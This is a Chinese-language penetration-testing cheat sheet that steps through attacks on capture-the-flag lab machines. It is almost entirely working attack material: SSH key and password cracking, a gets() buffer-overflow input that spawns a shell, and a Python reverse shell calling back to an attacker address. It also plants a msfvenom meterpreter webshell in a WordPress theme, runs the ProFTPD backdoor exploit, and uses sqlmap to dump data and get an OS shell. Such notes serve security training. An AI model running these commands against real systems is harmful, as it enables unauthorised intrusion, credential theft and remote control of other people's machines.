1、IP探测
# kali linux
netdiscover -r ip/netmask
# windows
nmap -sP 192.168.0.0/24
2、信息探测
ping 192.168.56.102
# 探测目标所开放的端口号
nmap -p- -T4 192.168.28.129
# 探测目标开放的服务与服务版本
nmap -sV 192.168.56.102
# 探测目标全部信息(可能没有上面扫描的端口全)
nmap -A -v -T4 192.168.56.102
# 探测目标操作系统类型与版本
nmap -O 192.168.56.102
# 敏感信息探测,注意特殊文件名和config等敏感文件
nikto -host 192.168.56.102
nikto -host http://192.168.28.129:9090
# 对于开放的非HTTP大端口,可使用NC探测端口banner信息
nc 192.168.28.130 13337
3、Web目录探测
# 对于开放的HTTP端口,可使用浏览器打开查找Flag信息
# 也可以使用dirb和nikto进行进一步探测
dirb http://192.168.56.102:31337
4、SSH私钥登陆
# id_rsa 私钥文件
# authorized_keys 认证信息,里面包含了用户名
# 私钥文件权限不能过大,否则报错
chmod 0600 id_rsa
# 私钥登陆命令
ssh -i id_rsa simon@192.168.56.102
# 私钥有密码保护时需要解密,先转换格式,然后使用字典爆力破解
# ssh2john id_rsa > rsacrack
# 最新版的kali会提示找不到ssh2john,通过locate ssh2john查找后,直接用python运行
python /usr/share/john/ssh2john.py id_rsa > rsacrack
# sudo su 非root用户找不到john这个命令
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
# Press Ctrl-C to abort, or send SIGUSR1 to john process for status
# starwars (id_rsa) ---> 此行是分析后找出的密码
# 再次使用私钥登陆,提示证书口令时输入上面爆破的密码:starwars
ssh -i id_rsa simon@192.168.56.102
# SSH 指定端口登陆
ssh -p 22222 Summer@192.168.28.129
5、查找具有root执行权限的文件
find / -perm -4000 2>/dev/null
6、针对execve缓冲区溢出攻击
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf);
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
# 上面是源代码,发现未检查输入的字符数组长度,存在缓冲溢出漏洞,先执行程序
read_message
# 输入符合要求的字符串,前5个字符是Simon,在20个字节的缓冲区后面跟上shell路径
SimonABCDEABCDEABCDE/bin/sh
7、提权信息收集
cat /etc/passwd
cat /etc/group
find / -user username
ls -alh /tmp
# 重点关注是否存在定时任务
cat /etc/crontab
8、反弹shell脚本
#!/usr/bin/python
import os,subprocess,socket
s=socket.socket()
s.connect(("192.168.56.101",1024))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
9、反弹监听,在Kali里会由于NAT的原困反弹失败,在HOST主机Windows里运行netcat可以成功
URL:https://eternallybored.org/misc/netcat/
下载后将nc.exe复制到C:\Windows\System32文件夹下
# 先查看本地端口占用情况
netstat -tunap
# 在空闲端口上启用监听
nc -lvp 1024
10、爆力破解ssh密码
# 使用cupp创建字典,创建的密码过于简单,爆破失败
git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py
./cupp.py -i
# 使用metasploit破解ssh
msfconsole
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 192.168.56.102
set username hadi
set pass_file hadi.txt
set threads 5
set verbose true
show options
run
# 会话显示优化
python -c "import pty;pty.spawn('/bin/bash')"
# 使用在线生成字典的方式:https://www.bugku.com/mima/
# 使用hydra爆破,其中-l 指定用户名,可以使用-L指定用户名字典文件;-p指定密码,-P指定密码字典文件;-v显示详细的执行过程;-f爆破成功后就停止枚举。
hydra -l hadi -P hadi.txt 192.168.56.102 ssh -v
11、SMB协议弱点分析/LazySysAdmin
# 列出所有共享的目录,共享没有密码时才有用
smbclient -L 192.168.28.129
# 连接某个共享目录,查看并下载敏感文件,也可以使用Windows直接查看
smbclient '\\192.168.28.129\share$'
ls
get filename
# 主要发现 deets.txt里面有个密码12345,后面cat /etc/passwd时发现一个用户togie,是此用户密码
# wp-config 里有mysql 数据库的账号和密码
# 使用dirbs可以发现有phpmyadmin,此账号可以登陆成功
# 理论上也可以使用phpmyadmin及mysql相关漏洞上传webshell及提权
12、wordpress上传webshell
# 生成webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.28.128 lport=4444 -f raw
# wordpress上传点 theme 404.php (菜单:Appearance->Editor)
# 编辑上传上面生成的代码并保存,不含最前的注释部分
# 监听相应端口
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.28.128
show options
run
# 根据主题名称访问相应RUL路径
http://192.168.28.129/wordpress/wp-content/themes/twentyfifteen/404.php
# 反弹连接后,优化会话连接
pwd
shell
python -c "import pty;pty.spawn('/bin/bash')"
# 查看sudo权限列表
sudo -l
# 切换到root
sudo su -
13、使用Metasploit进行溢出攻击
# 打开Metasploit软件
msfconsole
# 输入search 查找对应的软件及版本号
# 使用exploit
use exploit
# 查看可以使用的payload
show payload
# 设置payload
set payload
# 设置参数
show options
set rhost IP
set lhost IP
# 进行远程溢出
exploit
# 执行命令
id
14、FTP协议弱点分析
# 扫描开放的服务
nmap -sV 192.168.28.130
# 查询对应的FTP服务是否存在可利用的漏洞
searchsploit ProFTPD 1.3.3c
#
msfconsole
#
search ProFTPD 1.3.3c
#
use exploit/unix/ftp/proftpd_133c_backdoor
#
show payloads
#
set payload cmd/unix/reverse
#
show options
set rhosts 192.168.28.130
set lhosts 192.168.28.128
show options
#
exploit
# 反弹连接后进行权限确认并读取flag
pwd
id
# 优化反弹连接显示格式
python -c "import pty;pty.spawn('/bin/bash')"
15、使用sqlmap进行注注入攻击
# 查看某URL是否有SQL注入漏洞
sqlmap -u url
# 查看数据库名
sqlmap -u url --dbs
# 查看指定数据库中的数据表
sqlmap -u url -D dababase --tables
# 查看指定数所表中的列
sqlmap -u url -D dababase -T table --columns
# 查看对应字段的值
sqlmap -u url -D dababase -T table -C column --dump
# 获取shell
sqlmap -u url -os-shell